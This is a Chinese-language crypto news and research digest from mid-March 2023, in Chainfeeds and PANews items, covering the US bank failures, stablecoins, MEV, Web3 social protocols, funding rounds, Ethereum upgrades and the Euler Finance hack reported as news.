    Chainfeeds 导读： 区块链研究型 DAO 组织 Betalpha Labs 发推盘点三大加密友好银行 Silvergate、硅谷银行和 Signature 的关闭或接管对法币抵押稳定币和资金进出通道带来的影响以及新的增长机会。 文章来源： https://twitter.com/betalphalabs/status/1635822662588170241 文章作者： Betalpha Labs 观点： Betalpha Labs：1）法币抵押型稳定币规模变化：法币抵押型稳定币规模因 USDC 近一周 43.6 亿的流出而流出，该数据在接下来的一段时间值得持续关注；以不透明著称的 USDT 份额占比持续增长；前不久币安支持的 BUSD 遭遇监管，转向支持 TUSD，且其服务银行是 Signature，其中 Trusttoken 已将 TUSD 业务出售，与其关系不大但有增长概念的 TRU 频频大幅波动登上涨幅榜。 内容来源 Betalpha Labs：2）资金进出通道遭到影响：DCG 表示汇丰、德意志、桑坦德等多家主流银行仍愿意为加密公司提供服务，可解决资金存放问题，但会限制经济和货币市场服务以及向第三方电汇等服务，及资金进出通道受到影响。尽管纽约金融服务部称接管 Signature 与加密行业无关，Circle 也在寻找新的银行开展 USDC 出入金服务，后续进展值得关注。 内容来源 Betalpha Labs：3）新的增长机会：因 UST 等加密原生稳定币陨落，稳定币从加密原生到法币抵押型，又回到加密原生。币圈原生稳定币再次成为新叙事，DAI 和 Frax 因 USDC 作为抵押物而波动，LUSD、crvUSD、GHO 及其他新生稳定币被给予新的希望。 内容来源  ( 2 min )
    A&T Capital: 以太坊 MEV 提取机制的现状、问题与改进
    Chainfeeds 导读： 本文中 MEV 定义为通过按照某特定顺序执行 N 笔交易，为设计这套顺序的主体带来的经济利益。AnT Capital 分析师 Liam 通过分析 MEV 的利益相关者和 MEV 在 MEV-Boost 体系下的流向，分析现有的解决方案如何预防有害 MEV 提取及公平分配有利和中性 MEV，并提出改进方向。 文章来源： https://mp.weixin.qq.com/s/yre0xXNvTCVzpl-w-aLbNw 文章作者： Liam（ANT Capital） 观点： Liam（ANT Capital）：以太坊合并后，MEV 的提取与分配由 Flashbots 提出的 MEV-Boost 体系主导，流向搜寻者（Searcher）、区块建设者（Block Builder）、区块提议者（Block Proposer\Validator）和以太坊网络本身。提取 MEV 的交易被执行为创建交易的搜寻者带来收入，成本是其支付的 Gas Fee；Gas Fee 一部分根据 EIP-1559 被燃烧，另一部分以 Tip 形式流向区块建设者；区块建设者将大部分 Tip 以 MEV Rewards 形式转给区块提议者。 内容来源 Liam（ANT Capital）：从 MEV 为整个系统带来的后果看，可分为有益、中性和有害三类。如何避免有害 MEV 提取、分配有利和中性 MEV 利润是需要解决的核心问题。MEV-Boost 体系的 MEV 利润分配方案中没有考虑用户的利益。用户作为创造 MEV 提取机会的角色，保障其合理利益不被侵犯只是最基本的，不应该只保障他们的交易不被抢跑，也应该将一部分 MEV 利润返还。 内容来源 Liam（ANT Capital）：现存的私有 RPC 解决方案是基于信任假设的，用户的交易仍可能被泄露、被抢跑，甚至被审查，并且部分区块建设者对私有订单流的垄断地位会使 MEV 提取变得更不透明、更中心化。要解决「抢跑」问题，应该借助加密技术。基于「加密 - 排序 - 解密 - 执行」，将用户的交易在本地加密，在不被任何人读取交易内容的情况下完成排序共识，再解密内容，最后按已共识的排序执行交易。 内容来源  ( 32 min )
    【英文】一文了解 Worldcoin 底层身份协议：World ID
    Chainfeeds 导读： Worldcoin 的目标是通过隐私至上、自主控制和去中心化的方式来解决人的身份证明问题。Worldcoin 撰文介绍了其产品 World ID 以及它是如何工作的。 文章来源： https://worldcoin.org/blog/announcements/introducing-world-id-and-sdk 文章作者： Worldcoin 观点： Worldcoin：World ID 支持多种人身验证方式，包括通过电话号码验证和生物识别验证来证明用户的身份。在产品推出之初，用户可以通过智能手机进行电话号码验证，也可以使用 Orb 生物识别验证技术进行极高精度的验证。【原文为英文】 内容来源 Worldcoin：World ID 不是从持有人的生物识别、电话号码、加密钱包或任何其他标识符中派生或绑定而来。按照护照类比，身份验证证明（包括 Orb 的）实质上是允许持有人证明已经验证了特定护照的邮戳，而不会透露关于验证或护照本身的信息。【原文为英文】 内容来源  ( 23 min )
    盘点三款去中心化社交协议：Lens Protocol、RSS3 与 CyberConnect
    Chainfeeds 导读： 去中心化的社交协议旨在通过区块链和去中心化技术，解决用户的数据归属与互操作性、平台大量剥削用户创作收益等问题。MetaCat 作者 Yooma 撰文介绍了三个去中心化社交协议 Lens Protocol、RSS3 与 CyberConnect 的核心机制以及异同点。 文章来源： https://foresightnews.pro/article/detail/27998 文章作者： MetaCat 观点： MetaCat：1）Lens Protocol 是基于 NFT 技术的身份验证协议。通过在 Polygon 链上部署合约，用户可以创建自己的 Profile NFT，以此来代表自己的身份信息，自由地在多个应用间进行身份验证和数据共享。 内容来源 MetaCat：2）RSS3 协议可以用于社交媒体、新闻聚合、博客订阅等场景。通过订阅 RSS3 文件，用户可以获取自己感兴趣的信息，而且无需访问原始网站，可以节省时间和网络流量，像 Lens Protocol 则是先获取 Profile NFT，以该身份去发布浏览内容。 内容来源 MetaCat：3）CyberConnect 与 Lens Protocol 有些相似，都使用 NFT 来代表用户身份，让用户拥有更多的控制权。但相比于 Lens Protocol 需要支付 gas 费，CyberConnect 使用可扩展存储模块 (SSM) 和去中心化存储 (Arweave) 来处理 Post 和评论等数据，从而减少了用户的成本和复杂度。 内容来源  ( 8 min )
    【英文】Web 2.5 游戏经济模型再思考：代币化是万能解药吗？
    Chainfeeds 导读： Maverick Crypto 研究员 Asa Li 认为当前占主导地位的加密游戏从广义上讲是「Web 2.5 游戏」的变体，Web2.5 游戏有其特有的代币化特征、经济模型以及玩法设计。作者通过 4 个问题探讨了这一叙事潜在的问题以及加密游戏的其他可能性。 文章来源： https://www.maverickcrypto.xyz/post/our-questions-about-web-2-5-gaming 文章作者： Asa 观点： Asa：问题 1：是否应该在颠覆游戏玩法和艺术效果上投入大量资金？游戏玩法和艺术效果的大量投入阻碍了「加密 + 游戏」可能的迭代潜力。我们认为 Web 3 的有限资源最好用于探索加密经济学如何解锁游戏的新范式。正如 DeFi Summer 的产生不是依靠大量潜在市场用例，而是其原生的可组合性带来的迭代和创新。【原文为英文】 内容来源 Asa：问题 2：设计开放经济的益处和挑战。鉴于在一款复杂的 MMO 游戏中解决所有挑战是非常困难的，我们建议工作室从更小、更简单的游戏类型开始，一次处理一个方面的挑战，如：在不使用复杂 UI/UX 的情况下交换游戏内资产、用于资助、分发和购买游戏的新原语、机器人解决方案等。【原文为英文】 内容来源 Asa：问题 3：以资产为中心的沉浸式游戏是否正在衰败？今天的大多数人更喜欢快速的、非沉浸式的游戏，这些游戏是对生活的快速补充，而不是成熟的替代品。我们看到的绝大多代币化设计都增加了游戏本身的复杂性。这不符合当前游戏用户的特征。【原文为英文】 内容来源 Asa：问题 4：对沉浸式 MMO 游戏而言，代币化的度在哪里？与典型交易者相比，MMORPG 的玩家更加规避风险和冷静。我们非常不确定互操作性、连接性和全球流动性是否是这些玩家的需求。此外，一旦玩家在游戏中投入的时间被量化为机会成本，游戏的情感价值会被商品化和金融化所淹没。【原文为英文】 内容来源  ( 65 min )
    ABCDE 投研合伙人：谈谈我眼中真正的「稳定币三杰」
    Chainfeeds 导读： 最近硅谷银行和 USDC 短暂脱锚让市场再次关注加密原生稳定币。ABCDE 投研合伙人 Lao Bai 讨论了他对当前几个 Native 稳定币的看法以及对未来 Native 稳定币的展望。 文章来源： https://twitter.com/wuhuoqiu/status/1635521764334911488 文章作者： Lao Bai（ABCDE 投研合伙人） 观点： Lao Bai（ABCDE 投研合伙人）：对 DAI, Frax 的看法：Frax 稳定币起家，结果反而是 DEFI 矩阵和 Curve War 玩的贼六，最近 LSD 的尝试也非常成功，不过根基 Frax 和 DAI 都面临类似相对尴尬的境地，就是应用场景过少，说白了就是除了自家 DAPP，基本没啥地方可用。 内容来源 Lao Bai（ABCDE 投研合伙人）：我眼中真正的三杰：1）crvUSD。LLAMA 反向 Uni V3 式的清算机制安全；有天然的 Swap 使用场景；Curve 团队还有大量的 crv（veCRV），不担心冷启动问题。2）GHO。多链部署，理论上可以像 Stargate 里的 USDC 一样在多链上无缝移动；Lens 和 Facilitator 将扩宽其真正的使用场景。3）sUSD。在 Atomic swap 与 Curve 合作之后 + 最近 Perp V2 上线缓解缺少应用场景的问题；即将到来的 V3 版本通过引入类似 ETH 的抵押品有望解决资金效率差的问题。 内容来源  ( 2 min )
    【英文】观点：Meta 关闭支持 NFT 功能不是 Web3 的问题
    Chainfeeds 导读： 近日，Meta 正式关闭了支持 NFT 的功能，加密货币研究员 Alex 梳理了整起事件并认为这不是 Web3 的问题，而是 Meta 还不够了解 Web3 文化与 Web2 的不同。 文章来源： https://twitter.com/alexisbuilding/status/1635508435021340672 文章作者： Alex is Building 观点： Alex is Building：去年 5 月到 11 月，Meta 开始在 Facebook 和 Instagram 上测试 NFT 功能。问题是，大多数 Twitter NFT 原生用户并不使用这些功能。而且也没有人从 Web2 转到 Web3。因此，这些功能陷入发展瓶颈。【原文为英文】 内容来源 Alex is Building：但这不是 Web3 的问题，这是一个公司不了解 Web3 文化与 Web2 有何不同的问题，除了「炫耀收藏品」之外，要了解不同的文化如何带来不同的需求。例如，Twitter 巧妙地拥抱了 Web3，所有功能都在促进每日活跃用户和社区建设。【原文为英文】 内容来源  ( 2 min )
    X2Y2 对 NFT 贷款和再融资收取管理费
    X2Y2 对 NFT 贷款和再融资收取管理费 NFT 市场平台 X2Y2 发推宣布，对 NFT 借贷和再融资收取管理费。具体而言，每笔 NFT 贷款将向贷方收取 10% 的利息作为平台费用，并向借款人收取本金的 0.2% 作为再融资服务费。 内容来源  ( 2 min )
    加密钱包基础设施初创公司 Capsule 完成一轮融资，a16z 和 Geometry 共同领投
    加密钱包基础设施初创公司 Capsule 完成一轮融资，a16z 和 Geometry 共同领投 据 The Block 报道，加密钱包基础设施初创公司 Capsule 完成一轮融资，融资金额未披露，Andreessen Horowitz（通过其加速器 Crypto Startup School）和 Geometry 共同领投， Spice Capital、Anchorage 联合创始人 Diogo Monica 和 Nathan McCauley、Celo 联合创始人 Rene Reinsberg 和 Marek Olszewski 以及 Sommelier Finance 联合创始人 Zaki Manian 等参投。a16z 的 CSS 加速器计划通常会向参与的初创公司投资 50 万美元，以换取 7% 的股权。 Capsule 于去年由 Layer 1 区块链 Celo 前产品负责人 Nitya Subramanian 创立，旨在帮助开发人员创建具有可互操作交易的钱包。Capsule 上周加入了 a16z CSS 计划，并将持续到五月。 内容来源  ( 218 min )
    数据解读 Lens 如何重塑创作者经济
    Chainfeeds 导读： Lens 火热的背后不单单是空投的预期，更是引领 Web3 新经济的潜力。Biteye 研究员 Loius Wang 梳理了 Lens 创作者经济的模型，通过数据分析了 Web3 社交协议 Lens 现有的变现模式，并结合其近期发布的新功能，给出了对未来发展方向的猜测。 文章来源： https://mp.weixin.qq.com/s/QSrWuKjyhlmocgb6z_C0yg 文章作者： Lviswang.lens 观点： Lviswang.lens：创作者经济数据：创作者收入：创作者总盈利 26.8 万美元，其中付费铸造产生收入 26.4 万美元，占总创作经济收入的 99%。用户消费：共有 4 万 1 千多名用户在 Lens 上向创作者支付过费用，消费最多的前三名都是 Lens 团队的地址。数据发现：1. 创作者的增长速度要高于消费者；2. 消费者 / 创作者之比维持在 0.5 左右的水平，趋于稳定；3. 大部分产生收益的创作者的粉丝量都集中在 1000 以内。 内容来源 Lviswang.lens：Lens 创作者经济前景畅想：1. 协同创作经济：最新推出的收益分配模式支持多个创作者收益分成，推动协作经济的发展，实现创作者共赢；2. 结合 AAVE 最大化创作者收益：最近上线了 aaveFeeCollect 模块，创作者的收益可以直接存到 AAVE v3 的池子里。DID 协议构建的社交关系和社交图谱可能是一个 DeFi 信任解决方案。 内容来源  ( 33 min )
    【英文长推】Radiant V2 升级临近，哪些更新值得期待？
    Chainfeeds 导读： Radiant 是 Arbitrum 生态的借贷协议，TVL 月增长达 87.12%，目前在该生态排名第三。随着 Radiant V2 升级临近，加密 KOL Thor Hartvigsen 总结了 5 个主要更新及潜在的积极影响，他认为 V2 升级将会带来更多资产流动性并为用户创造更多收入。 文章来源： https://twitter.com/ThorHartvigsen/status/1635718274498564096 文章作者： Thor Hartvigsen 观点： Thor Hartvigsen：V2 将为协议引入大量的各种升级。1. 跨链扩展。Radiant 将在 BNB 等几个新的链上推出。用户目前可以在几个链上借入，但只能在 Arbitrum 上借出。这一点将在 V2 中有所改变；2. 新资产的加入。目前 Radiant 上只有 5 种资产（其中 3 种是稳定币）。wstETH 和 BNB 都是 V2 确认的资产，未来 GLP、gDAI 等资产也可能加入。【原文为英文】 内容来源 Thor Hartvigsen：3. RDNT 质押机制更新。V2 将实施动态流动性资金池（dLP）。用户存入 Arbitrum 上的 80/20 RDNT/ETH Balancer 池或 BNB 链上的 50/50 RDNT/BNB 池进行质押，60% 的协议费用将被分配给这些池子的锁定用户。4. 代币经济学更新。用户必须将其抵押品价值的 5% 锁定为 dLP，以便在借贷时获得代币激励。这创造了一个可持续的飞轮 + 减少 $RDNT 的通货膨胀；5. 改进的 UI/UX 设计。【原文为英文】 内容来源 Thor Hartvigsen：总结：尽管市场规模有限，但 Radiant 凭借其独特的设计与 omnichain 的流动性，积累了大量的流动性和用户。随着 V2 的发布，我希望看到采用率大幅提高，这将为 RDNT 锁定用户创造更多的收入。产品拥有市场契合度，而且代币经济学和基础机制非常健全。十分看好 Radiant 的未来发展。【原文为英文】 内容来源  ( 2 min )
    比特币生态去中心化交易所 Alex 完成 250 万美元战略轮融资
    比特币生态去中心化交易所 Alex 完成 250 万美元战略轮融资 据 The Block 报道，比特币生态去中心化交易所 Alex 在战略轮融资中筹集了 250 万美元， Trust Machines 和 Gossamer Capital 等参投。该交易所由量化分析师 Chiente Hsu 和 Rachel Yu 共同创立。此次筹集的资金将用于继续在比特币生态系统中建立去中心化金融并扩大用户社区。除了去中心化交易所，Alex 还提供质押、收益农业和启动板服务。此前，Alex 在 2021 年完成 580 万美元种子轮融资，White Star Capital 领投。 内容来源  ( 218 min )
    【英文长推】a16z 团队成员谈 Optimism Bedrock 升级：有何积极影响？
    Chainfeeds 导读： Optimism 发布 Bedrock 主网升级提案 v2 版本，将为 L2 网络提供模块化、简单性和以太坊等价性等性能。a16z crypto 成员 Ross Shuel 总结了团队看好 Optimism Bedrock 升级的三个原因，分别为：模块化带来的创新、开发者的飞轮效应以及共享基础设施的协同优势。 文章来源： https://twitter.com/RossShuel/status/1635630396628140034 文章作者： Ross Shuel 观点： Ross Shuel：OP Stack 的引入使用户摆脱了构建区块链必需的引导和技术要求，并允许通过其高度模块化的设计进行实验。可以预见，这种开放的实验和快速迭代的框架会推动新的大规模 L2 部署。【原文为英文】 内容来源 Ross Shuel：开发者的飞轮效应：开发者给予 OP Stack 上推出他们的链，并为代码库和工具做出贡献→OP Stack 的代码库和开发经验逐渐成熟和改善→更多的开发者使用 OP Stack 推出他们的链并为生态系统做出贡献。【原文为英文】 内容来源 Ross Shuel：Bedrock 的升级为超级链的愿景打下了基础。具有共享基础设施的 OP 区块链将拥有更强大的安全假设（Security Assumptions）、更好的工具和新的排序模型，为创新打开了巨大的设计空间。【原文为英文】 内容来源  ( 2 min )
    Manta Network 先行网 Calamari 上线 ZK 隐私转账协议 MantaPay
    Manta Network 先行网 Calamari 上线 ZK 隐私转账协议 MantaPay 隐私保护协议 Manta Network 宣布在先行网 Calamar 上线 ZK 隐私转账协议 MantaPay。MantaPay 是基于 ZK 技术的多资产去中心化隐私转账协议，用户可将 ERC20 等资产桥接至 MantaPay，实现隐私转账。MantaPay 计划在未来支持 ERC721、ERC1155 等 NFT 资产及灵魂绑定代币（SBT）。受监管政策影响，MantaPay 不支持美国、中国、伊朗等特定地区的用户使用。 内容来源  ( 8 min )
    以太坊 Goerli 测试网激活 Shapella 升级
    以太坊 Goerli 测试网激活 Shapella 升级 以太坊 Goerli 测试网于北京时间 3 月 15 日 6:26 激活 Shapella 升级，这是以太坊验证者能够从信标链中提取 ETH 之前的最后一次测试。以太坊核心开发人员 Tim Beiko 表示，由于几个测试网验证器在 Goerli 分叉之前没有升级他们的客户端软件，导致初期处理存款的过程并不顺利，但问题已经解决。Shapella 预计于 4 月初在以太坊主网上激活，具体日期将于本周四的以太坊执行层核心开发者会议（ACDE）确定。 内容来源 观点： Tim Beiko（以太坊核心开发者）：一个原因是鉴于 ETH（Goerli）毫无价值，运行验证节点 / 监控它的动力就会减少。另一个可能的原因是在分叉处处理了大量的取款凭证更改。鉴于这是人们第一次提交这些更改，还有更多需要处理的内容，这可能导致在低资源节点上丢失块 / 证明。【原文为英文】 内容来源  ( 2 min )
    Filecoin 虚拟机 FVM 上线，支持智能合约和可编程性
    Filecoin 虚拟机 FVM 上线，支持智能合约和可编程性 Filecoin 虚拟机 FVM 已在 Filecoin 主网正式启动，通过此次代号为「Hygee」的升级，Filecoin 网络首次变得可编程。通过引入可编程智能合约并在 FVM 之上启动以太坊虚拟机（EVM），开发人员可将现有 EVM 合约直接连接到 Filecoin 网络和存储服务。Filecoin 正在举行第二次 FVM 捐赠，将为 20 个围绕 FVM 构建的优质项目提供 5000 美元单笔资助。 内容来源  ( 6 min )

  • Open

    DeFi安全风险解析：闪电贷、价格操纵攻击和降低风险的协议设计思路
    DeFi安全风险解析：闪电贷、价格操纵攻击和降低风险的协议设计思路 – 深潮TechFlow 撰写：Revelo Intel Read the full entry  ( 3 min )
    DeFi安全风险解析：闪电贷、价格操纵攻击和降低风险的协议设计思路
    DeFi安全风险解析：闪电贷、价格操纵攻击和降低风险的协议设计思路 – 深潮TechFlow 撰写：Revelo Intel Read the full entry  ( 3 min )

  • Open

    以太坊Goerli测试网已激活Shapella升级，升级尚未完成
    PANews 3月15日消息，据CoinDesk报道，以太坊Goerli测试网已于北京时间06:25在epoch 162304激活Shapella升级，但是由于验证者参与率较低，该epoch在撰写本文时尚未最终确定。在正常参与条件下，epoch将在世界标准时间06:38结束。在epoch触发时有29%的验证者参与率，这对以太坊来说尤其低。在YouTube直播中，以太坊客户端Teku的产品负责人Ben Edgington承认参与率低可能是由于验证节点没有及时升级Goerli分叉。 以太坊开发人员将于周四举行双周一次的电话会议，确定主网上海升级的日期。在上一次双周电话会议中，以太坊开发人员在4月初的一段时间内讨论了主网目标日期，这与他们最初设定的 3 月份时间表略有不同。 根据3月2日的报道，在此次Goerli测试网升级后，主网升级将在此后的3至4周进行。  ( 4 min )
    赵长鹏：“加密货币不安全”是误解，可信加密服务的安全性优于传统金融
    PANews 3月15日消息，币安CEO赵长鹏推特发文称，“加密货币不安全”这一说法是不正确的。事实上，区块链的透明度是一个特性，而不是一个漏洞。可信加密服务和平台已经具有与传统金融相当甚至更好的安全性/KYC/AML。  ( 4 min )
    加密托管银行Anchorage Digital裁员20%
    PANews 3月15日消息，据彭博社报道，加密托管银行Anchorage Digital周二表示，将裁员75人，约占员工总数的20%。该公司表示，美国不确定的加密监管环境是其作出裁员决定的一个因素。此外，广泛的宏观经济挑战和加密市场波动也促使其裁员。Anchorage是美国第一家联邦特许的加密银行，其于2021年完成3.5亿美元融资，私募股权公司KKR & Co.领投，估值超过30亿美元。去年月，美国货币监理署(OCC)曾表示，Anchorage没有实施关键的洗钱控制措施，其合规计划人员不足，且缺乏验证客户身份的内部流程。  ( 4 min )
    美国财政部即将发布有关DeFi在犯罪活动中用途的风险评估报告
    PANews 3月15日消息，据CoinDesk报道，美国财政部高级官员Elizabeth Rosenberg表示，美国财政部即将发布一份风险评估报告，分析DeFi在犯罪活动中的用途。Rosenberg周一在澳大利亚悉尼举行的一次银行业活动上表示，不法分子一直在寻找有效的方法来隐藏犯罪活动和洗钱非法所得，这是对DeFi服务或虚拟资产生态系统其他元素的威胁。她的团队正在“积极进行”一项评估，结果很快就会公布。她还表示，由于虚拟资产的“惊人”增长，虚拟资产应用于犯罪活动的潜在危害已经在朝鲜勒索软件攻击等事件中得到了体现。  ( 4 min )
    纽约金融服务部：接管Signature Bank与其加密业务无关
    PANews 3月15日消息，据The Block报道，纽约金融服务部（NYDFS）发言人表示，周日做出接管Signature Bank的决定与该银行的加密货币业务无关。此前美国前众议员Barney Frank批评了监管机构的决定，声称他们“想要传递加密货币有害的信息”。NYDFS一位发言人在一份声明中表示，接管该银行并将其移交给FDIC的决定是基于该银行目前的状况以及它是否有能力以安全和健康的方式开展业务。该发言人表示，他们正在与Signature Bank的高管合作，评估其财务状况、满足取款请求的能力以及是否能够继续正常运营。该银行没有提供“可靠和一致的数据，造成了对该行领导层的严重信任危机”。NYDFS表示，Signature是一家拥有更重要业务的银行，数字资产业务仅占该银行整体业务的一小部分。 相关阅读：Signature董事会成员：银行未资不抵债，被关停或因监管机构的反加密立场  ( 4 min )
    硅谷银行曾于今年1月裁员1.4%
    PANews 3月15日消息，据NBC新闻报道，一封内部邮件显示，硅谷银行曾在今年1月裁员100到120人，占员工总数的1.4%左右。两名知情人士表示，裁员主要集中在非面向客户的岗位，尤其是招聘相关岗位。该公司首席人力资源官在1月11日发出的一封电子邮件称，经济前景的“变化和不确定性”是裁员的原因。1月19日，硅谷银行首席执行官Gregory Becker在财报电话会议上对分析师表示将在其他领域削减成本。首席财务官Daniel Beck补充说，成本更低的全职员工将有助于“优化支出”。  ( 4 min )
    穆迪：美国银行系统的经营环境“迅速恶化”，前景变为负面
    PANews 3月14日消息，据金十报道，穆迪表示，美国银行系统的经营环境“迅速恶化”，前景变为负面。基本预测是美联储将继续收紧货币政策，这可能会加剧部分美国银行面临的挑战。  ( 4 min )
    元宇宙支付平台Tilia获J.P. Morgan Payments等的投资，其总融资额已达2200万美元
    PANews 3月14日消息，据TechCrunch报道，元宇宙支付平台 Tilia 完成一笔战略融资，J.P. Morgan Payments、韩国加密货币交易所 Upbit 运营商 Dunamu 等参投。自 2022 年从创建者 Linden Lab 分拆以来，Tilia 的融资总额达到 2200 万美元。Tilia 并未透露此次具体融资数据。Tilia 正在与 J.P Morgan Payments 合作，以增强其整个处理平台的能力，包括提供更多的支付和支付方式、扩展支付货币和支持服务。 Linden Lab 于 2019 年正式推出 Tilia。Tilia 旨在使数字经济世界（包括元宇宙）中需要金融服务的公司能够轻松地以受监管的方式与任何人进行支付和交易。Tilia 的支付产品可以单独使用，也可以作为完全集成的端到端解决方案使用。  ( 4 min )
    Tether在以太坊和波场网络分别增发10亿枚USDT，将用于下一次发行请求和链上兑换
    PANews 3月14日消息，据 Whale Alert 监测，Tether 于北京时间 3 月 14 日 22:29 在波场网络增发 10 亿枚 USDT。另于北京时间 3 月 14 日 22:36:11 在以太坊网络增发 10 亿枚 USDT。 Tether 首席技术官 Paolo Ardoino 表示，这均为已授权但未发行的交易，意味着本次增发将用于下一次发行请求和链上兑换。  ( 4 min )
    PA日报｜Meta将终止对NFT的支持；MetaMask发布钱包版本更新
    今日要闻提示： 华尔街日报：美国司法部、美国证交会正在调查硅谷银行倒闭案 Meta将终止对NFT的支持，未来将通过其它方式支持NFT创作者 Unstoppable Domains与Polygon Labs合作创建以.polygon结尾的域名 Sam Altman的加密项目Worldcoin推出其身份协议World ID和SDK 币安将于5月22日暂停所有用户的英镑存取款服务 DCG：桑坦德银行、汇丰银行、德意志银行等仍愿为加密公司提供服务 MetaMask发布钱包版本更新，可选择任意RPC提供商（即退出默认的Infura） Lido上以太坊质押总价值突破100亿美元 监管消息 美国南达科他州州长否决禁止将加密货币用作货币的立法，并呼吁其他州阻止类似立法 美国南达科他州政府周五宣布，州长Kristi Noem否决了众议院第1193号法案，即一项禁止使用包括比特币在内的加密货币作为货币的法案。Noem在的否决信称：“该法案将侵犯数字货币的自由。” 州长在采访时解释说：“该法案长达110多页，它是作为UCC(统一商法典)指导方针的更新而提出的，得到了我们所有金融机构和银行的支持。我们看到了法案中改变货币定义的部分。从本质上讲，它所做的是为政府主导的CBDC铺平了道路，它还禁止存在任何其他形式的加密货币、比特币或数字货币。”州长强调，“这显然是对我们自由的威胁”，并指出南达科他州是第一个“真正审视该法案并找出其中内容的真相”的州。 Noem州长进一步详细说明：“其他20多个州在他们面前有相同的UCC语言。我相信这是为联邦政府控制我们的货币从而控制人民铺平道路。这应该引起所有人的警惕。如果政府的CBDC成为唯一合法的数字货币，那么政府将控制你花钱的方式，这会剥夺你所有的自由。” 华尔街日报：美国司法部、美国证交会正在调查硅谷银行倒闭案 据华尔街日报：美国司法部、美国证交会正在调查硅谷银行倒闭案。美国司法部和美国证交会正在调查硅谷银行的信息披露和高管交易方面的情况。 NFT Meta将终止对NFT的支持，未来将通过其它方式支持NFT创作者 Meta商务和金融服务主管Stephane Kasriel推特发文称，"将停止对NFT的支持，并专注于通过其他方式来支持创作者和企业。帮助创作者和企业与粉丝联系仍然是我们的首要任务，我们将专注于能够产生大规模影响的领域，例如Reels的通讯功能和变现机会。Meta将继续支持使用Instagram和Facebook的NFT创作者，未来将继续投资于个人和企业需要的金融科技工具。我们正在通过Meta Pay简化支付，让结账和付款变得更容易，同时将推广短信支付功能”。Meta此前曾表示，NFT有助于扩大创作者经济。Instagram在去年11月宣布了由Polygon支持的NFT市场计划。Kasriel在去年11月的一篇博客文章中表示，“与我们认为的发展方向相比，NFT市场现在还处于早期阶段。通过支持在Instagram上使用NFT，我们为数十亿用户开辟了新的方式来联系和支持他们喜欢的创作者，这反过来又释放了更多的机遇”。上周五，据《华尔街日报》报道，Meta计划在未来几个月进行多轮裁员。知情人士表示，预计该公司还将“关闭一些项目和团队”。 此外，Meta预计将裁员1万人左右，并暂停约5000个职位的招聘。 元宇宙 Unstoppable Domains与Polygon Labs合作创建以.polygon结尾的域名 据The Block报道，Unstoppable Domains 与 Polygon Labs 合作创建了以 .polygon 结尾的域名。这将使任何人都可以更轻松地通过支持该服务的应用程序通过 Polygon 区块链汇款。那些想要使用该服务的人必须从 Unstoppable Domains 购买域名，销售从 3 月 16 日开始。销售后，该公司将出售优质域名，如 gamer.polygon。 项目动态 Sam Altman的加密项目Worldcoin推出其身份协议World ID和SDK 据The Block报道，OpenAI 的首席执行官 Sam Altman 共同创建的加密项目 Worldcoin 公布了其身份协议（World ID）和软件开发工具包（SDK）。新推出的 World ID 被描述为 Worldcoin 的“底层身份协议”，由零知识密码学提供支持，是一种移动工具，人们可以使用它来证明自己的真实性，而不会牺牲匿名性。Worldcoin 的虹膜扫描硬件 Orb 是用户验证的主要方法。 Coinbase正式暂停BUSD交易，仍向用户开放BUSD取款 据官方消息，Coinbase正式暂停了BUSD交易，持有BUSD的用户仍然可以随时提取他们的资产。今年2月，Coinbase宣布计划下架BUSD，Coinbase首席执行官Brian Armstrong表示作出该决定是出于对流动性的担忧。此前Paxos被勒令停止铸造BUSD，纽约金融服务部（NYDFS）和美国证券交易委员会（SEC）都对该公司采取了监管行动。 芝商所推出比特币期货事件合约交易 据The Block报道，芝加哥商品交易所集团(CME Group)周一推出比特币期货事件合约交易。该公司在一份声明中表示，新产品将“为投资者提供了通过完全受监管的交易所进入比特币市场的方式，风险有限且高度透明”。此类合约提供基于特定事件的赔付，也被称为预测合约或信息合约，每日到期，以现金结算。投资者以此交易他们对比特币价格走势的看法。据此前消息，今年2月CME比特币期权未平仓合约创历史新高，首次突破10亿美元。 币安将于5月22日暂停所有用户的英镑存取款服务 据CoinDesk报道，加密交易所币安将于3月13日暂停新用户的英镑存取款，并于5月22日暂停所有用户的英镑存取款服务。币安发言人在电子邮件中表示，已经收到币安法币合作伙伴Paysafe的通知，从2023年5月22日起，他们将不再能够提供英镑存取款服务。币安表示，这一变化将影响不到1%的用户，该交易所正在寻找替代解决方案。与此同时，其它法币的存取款方式以及加密货币交易都不受影响。币安还将从5月22日起停止所有用户的英镑转账。 Signature董事会成员：银行未资不抵债，被关停或因监管机构的反加密立场 据CNBC报道，加密友好银行Signature Bank董事会成员、前美国众议员Barney Frank表示，美国监管机构在周日晚间突然宣布接管Signature这一突然举动震惊了该银行的高管，“在周五晚些时候发生挤兑之前（周五提取了超过100亿美元的存款），我们没有任何问题迹象，这纯粹是受硅谷银行的影响。”Frank表示，Signature高管们探索了“所有途径”来改善现状，包括寻找更多资本，以及评估潜在收购者的兴趣。他说，到周日，存款外流已经放缓，高管们相信他们已经稳定了局势。相反，Signature的高级管理人员已被立即免职，该银行于周日关闭。Frank认为，发生的部分原因是监管机构希望发出非常强烈的反加密信息，并称“我们之所以成为典型代表，是因为基本面没有出现资不抵债的情况”。 据悉，Barney Frank在2008年金融危机后帮助起草了多德-弗兰克法案。Signature Bank总部位于纽约，成立于2001年，与房地产和法律行业关系密切。监管文件显示，截至2022年底，Signature拥有40家分支机构，资产1103.6亿美元，存款885.9亿美元。 晚间有消息称，Signature Bank因虚假声明遭客户集体起诉。 Euler Labs：已联系美英执法部门，EToken模块已禁用 Euler Labs发布为Euler Finance用户挽回受损资金工作进展更新：“1.通过帮助禁用EToken模块，尽快阻止直接攻击，该模块阻止了存款和易受攻击的捐赠功能。2.与TRM Labs、Chainalysis和更广泛的ETH安全社区合作，帮助调查和追回资金。3.通知并与美国和英国执法部门共享信息，我们还联系了对这次攻击负责的人，看看我们是否能了解到更多的信息。此次遭到攻击的原因是，攻击者利用了易受攻击的代码，使其能够创建无担保的代币债务。”在此事件中，智能合约审计平台Sherlock帮助Euler提交了一份索赔，就450万美元的索赔进行了投票(最终通过)，并在今天执行了330万美元的支付。 此前昨日消息，借贷协议Euler Finance遭到攻击，损失已达1.97亿美元。今日晚些时候消息，Balancer表示，1190万美元资金受Euler攻击事件影响；Angle Protocol表示，有1760万枚USDC资金受Euler攻击事件影响；Idle Finance表示，约1099万美元资金受Euler攻击事件影响。 硅谷银行新CEO：银行照常开展业务，存款人可全额支取资金 据TechCrunch报道，硅谷银行的客户在周一晚间收到了一封该银行新任CEO Tim 